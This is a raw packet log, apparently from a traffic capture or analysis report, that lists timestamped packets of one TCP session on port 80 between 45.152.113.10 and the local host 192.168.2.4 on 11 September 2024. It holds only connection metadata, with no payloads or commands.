Sep 11, 2024 22:52:05.379772902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379787922 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379805088 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379832983 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379839897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379857063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379868984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379900932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379900932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379935980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379937887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379956007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379967928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379998922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.380004883 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.380024910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.380032063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.380042076 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.380064011 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.380090952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.380099058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.380112886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.380131006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.380161047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.380165100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.380192995 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.380194902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.380212069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.380224943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.380245924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.380259037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.380283117 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.380290985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.380311966 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.380326033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.380346060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.380357981 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.380383015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.380389929 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.380399942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.380448103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.415550947 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.415617943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.415661097 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.415671110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.415679932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.415723085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.415731907 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.415774107 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.415776014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.415807009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.415838003 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.415858030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.415858030 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.415890932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.415921926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.415939093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.415942907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.415973902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416013956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416018009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416018009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416064024 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416071892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416111946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416115999 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416161060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416173935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416194916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416222095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416229963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416256905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416265011 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416290045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416294098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416327953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416337967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416337967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416358948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416371107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416388035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416419983 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416421890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416441917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416450977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416476011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416486025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416498899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416520119 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416548967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416551113 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416569948 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416585922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416605949 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416618109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416646957 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416651011 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416667938 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416683912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416707039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416716099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416724920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416745901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416769981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416778088 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416807890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416814089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416829109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416846037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416878939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416898966 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416909933 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416917086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416941881 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416943073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.416958094 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.416975975 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.417007923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.417022943 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.417042017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.417057991 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.417076111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.417077065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.417097092 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.417124987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.428958893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.429008961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.429043055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.429069042 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.429075956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.429110050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.429116011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.429141998 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.429152012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.429176092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.429187059 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.429210901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.429227114 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.429692984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.429725885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.429769993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.429776907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.429789066 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.429809093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.429836035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.429841995 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.429858923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.429873943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.429910898 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.429924011 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.429955006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.429965019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.429965019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.429989100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.430008888 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.430021048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.430051088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.430069923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.430072069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.430103064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.430126905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.430136919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.430166006 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.430170059 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.430186033 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.430202961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.430223942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.430237055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.430258989 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.430269957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.430299997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.430303097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.430320978 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.430335999 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.430356979 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.430370092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.430386066 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.430423021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.465890884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.465934038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.465985060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.465993881 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466003895 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466046095 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466051102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466078997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466100931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466114044 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466136932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466165066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466181040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466198921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466214895 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466233015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466254950 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466281891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466284037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466310978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466336012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466342926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466366053 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466393948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466394901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466427088 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466454029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466464043 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466484070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466514111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466517925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466563940 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466567993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466613054 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466618061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466649055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466667891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466680050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466711044 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466712952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466732979 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466763973 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466768980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466814995 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466820002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466865063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466867924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466914892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466918945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.466981888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.466986895 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467015028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467036009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467063904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467067957 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467096090 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467113972 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467129946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467159033 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467161894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467195034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467195034 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467216015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467226982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467250109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467255116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467278957 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467288017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467313051 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467323065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467350960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467354059 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467412949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467431068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467432022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467447042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467467070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467482090 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467503071 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467514992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467539072 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467550039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467564106 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467581987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467605114 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467614889 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467636108 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467648029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467673063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467683077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467694998 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467715979 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467736959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467751980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467765093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467780113 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467808008 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467809916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467844009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467855930 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467855930 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467875957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467902899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467907906 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467932940 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467940092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467972994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.467982054 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.467999935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.468005896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.468015909 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.468089104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.503158092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.503222942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.503231049 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.503277063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.503310919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.503310919 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.503340960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.503346920 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.503364086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.503380060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.503416061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.503439903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.503457069 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.503489017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.503519058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.503539085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.503539085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.503573895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.503592968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.503624916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.503638029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.503680944 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.503680944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.503731966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.503739119 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.503779888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.503786087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.503813982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.503834963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.503844976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.503874063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.503894091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.503899097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.503931999 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.503954887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.503963947 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.503992081 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.503995895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.504021883 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.504029989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.504057884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.504062891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.504080057 CEST	49733	80	192.168.2.4	45.152.113.10
